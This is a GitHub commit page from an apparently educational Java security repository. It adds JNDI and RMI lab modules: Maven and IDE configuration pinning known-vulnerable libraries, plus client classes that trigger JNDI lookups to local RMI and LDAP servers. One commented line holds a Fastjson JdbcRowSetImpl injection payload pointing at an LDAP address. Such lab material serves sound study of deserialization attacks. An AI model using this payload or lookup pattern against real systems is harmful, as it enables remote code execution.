Skip to content

Commit ece4ed4

Browse files
Drun1babyDrun1baby
committed
JNDI&&RMI&&学习路线
1 parent 4512977 commit ece4ed4

42 files changed

Lines changed: 549 additions & 2 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎JavaSecurity/RMI/RMIClient/RMI.iml‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
3+
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
4+
<output url="file://$MODULE_DIR$/target/classes" />
5+
<output-test url="file://$MODULE_DIR$/target/test-classes" />
6+
<content url="file://$MODULE_DIR$">
7+
<sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
8+
<sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
9+
<sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" />
10+
<excludeFolder url="file://$MODULE_DIR$/${project.build.directory}/classes" />
11+
<excludeFolder url="file://$MODULE_DIR$/${project.build.directory}/test-classes" />
12+
<excludeFolder url="file://$MODULE_DIR$/target" />
13+
</content>
14+
<orderEntry type="inheritedJdk" />
15+
<orderEntry type="sourceFolder" forTests="false" />
16+
<orderEntry type="library" name="Maven: commons-collections:commons-collections:3.2.1" level="project" />
17+
</component>
18+
</module>

‎JavaSecurity/RMI/RMIServer/RMIServer.iml‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
3+
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
4+
<output url="file://$MODULE_DIR$/target/classes" />
5+
<output-test url="file://$MODULE_DIR$/target/test-classes" />
6+
<content url="file://$MODULE_DIR$">
7+
<sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
8+
<sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
9+
<sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" />
10+
<excludeFolder url="file://$MODULE_DIR$/${project.build.directory}/classes" />
11+
<excludeFolder url="file://$MODULE_DIR$/${project.build.directory}/test-classes" />
12+
<excludeFolder url="file://$MODULE_DIR$/target" />
13+
</content>
14+
<orderEntry type="inheritedJdk" />
15+
<orderEntry type="sourceFolder" forTests="false" />
16+
<orderEntry type="library" name="Maven: commons-collections:commons-collections:3.2.1" level="project" />
17+
</component>
18+
</module>

‎JavaSecurity/RMI/RMIServer/src/main/java/RMIServer.java‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,8 @@
11

2+
import sun.rmi.transport.DGCImpl_Skel;
3+
import sun.rmi.transport.DGCImpl_Stub;
4+
import sun.rmi.transport.ObjectTable;
5+
import sun.rmi.transport.Transport;
26

37
import java.net.MalformedURLException;
48
import java.rmi.AlreadyBoundException;

‎JavaSecurity/RMI/RMIServer/target/classes/RMIServer.class‎

0 Bytes
Binary file not shown.

‎JavaSecurity/RMI/RMIServer/target/classes/VictimServer.class‎

3 Bytes
Binary file not shown.

‎JavaSecurity/jndi/JndiCode/JndiRMIClient/JndiRMIClient.iml‎

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<module org.jetbrains.idea.maven.project.MavenProjectsManager.isMavenModule="true" type="JAVA_MODULE" version="4">
3+
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_8">
4+
<output url="file://$MODULE_DIR$/target/classes" />
5+
<output-test url="file://$MODULE_DIR$/target/test-classes" />
6+
<content url="file://$MODULE_DIR$">
7+
<sourceFolder url="file://$MODULE_DIR$/src/main/java" isTestSource="false" />
8+
<sourceFolder url="file://$MODULE_DIR$/src/main/resources" type="java-resource" />
9+
<sourceFolder url="file://$MODULE_DIR$/src/test/java" isTestSource="true" />
10+
<excludeFolder url="file://$MODULE_DIR$/${project.build.directory}/classes" />
11+
<excludeFolder url="file://$MODULE_DIR$/${project.build.directory}/test-classes" />
12+
<excludeFolder url="file://$MODULE_DIR$/target" />
13+
</content>
14+
<orderEntry type="inheritedJdk" />
15+
<orderEntry type="sourceFolder" forTests="false" />
16+
</component>
17+
</module>

‎JavaSecurity/jndi/JndiCode/JndiRMIClient/pom.xml‎

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>org.example</groupId>
8+
<artifactId>JndiRMIClient</artifactId>
9+
<version>1.0-SNAPSHOT</version>
10+
<dependencies>
11+
<dependency>
12+
<groupId>org.apache.tomcat</groupId>
13+
<artifactId>tomcat-catalina</artifactId>
14+
<version>8.5.51</version>
15+
</dependency>
16+
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
17+
<dependency>
18+
<groupId>org.apache.tomcat</groupId>
19+
<artifactId>tomcat-jasper</artifactId>
20+
<version>8.5.51</version>
21+
</dependency>
22+
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
23+
<dependency>
24+
<groupId>com.alibaba</groupId>
25+
<artifactId>fastjson</artifactId>
26+
<version>1.2.80</version>
27+
</dependency>
28+
<dependency>
29+
<groupId>commons-collections</groupId>
30+
<artifactId>commons-collections</artifactId>
31+
<version>3.2.1</version>
32+
</dependency>
33+
</dependencies>
34+
<properties>
35+
<maven.compiler.source>8</maven.compiler.source>
36+
<maven.compiler.target>8</maven.compiler.target>
37+
</properties>
38+
39+
</project>

‎JavaSecurity/jndi/JndiCode/JndiRMIClient/src/main/java/JNDIBypassHighJavaClient.java‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
import org.apache.naming.factory.BeanFactory;
2+
3+
import javax.naming.Context;
4+
import javax.naming.InitialContext;
5+
import javax.naming.spi.NamingManager;
6+
7+
public class JNDIBypassHighJavaClient {
8+
public static void main(String[] args) throws Exception {
9+
String uri = "rmi://localhost:1099/Object";
10+
Context context = new InitialContext();
11+
context.lookup(uri);
12+
}
13+
}

‎JavaSecurity/jndi/JndiCode/JndiRMIClient/src/main/java/JNDIGadgetClient.java‎

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import com.alibaba.fastjson.JSON;
2+
3+
import javax.naming.Context;
4+
import javax.naming.InitialContext;
5+
6+
public class JNDIGadgetClient {
7+
public static void main(String[] args) throws Exception {
8+
// lookup参数注入触发
9+
Context context = new InitialContext();
10+
context.lookup("ldap://localhost:1234/ExportObject");
11+
12+
// Fastjson反序列化JNDI注入Gadget触发
13+
// String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
14+
// JSON.parse(payload);
15+
}
16+
}

‎JavaSecurity/jndi/JndiCode/JndiRMIClient/src/main/java/JNDILdapClient.java‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
import javax.naming.InitialContext;
2+
3+
// jndi 打 jdk8u191 之前版本的客户端
4+
public class JNDILdapClient {
5+
public static void main(String[] args) throws Exception{
6+
InitialContext initialContext = new InitialContext();
7+
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1099/remoteObj");
8+
System.out.println(remoteObj.sayHello("hello"));
9+
}
10+
}

0 commit comments

Comments
 (0)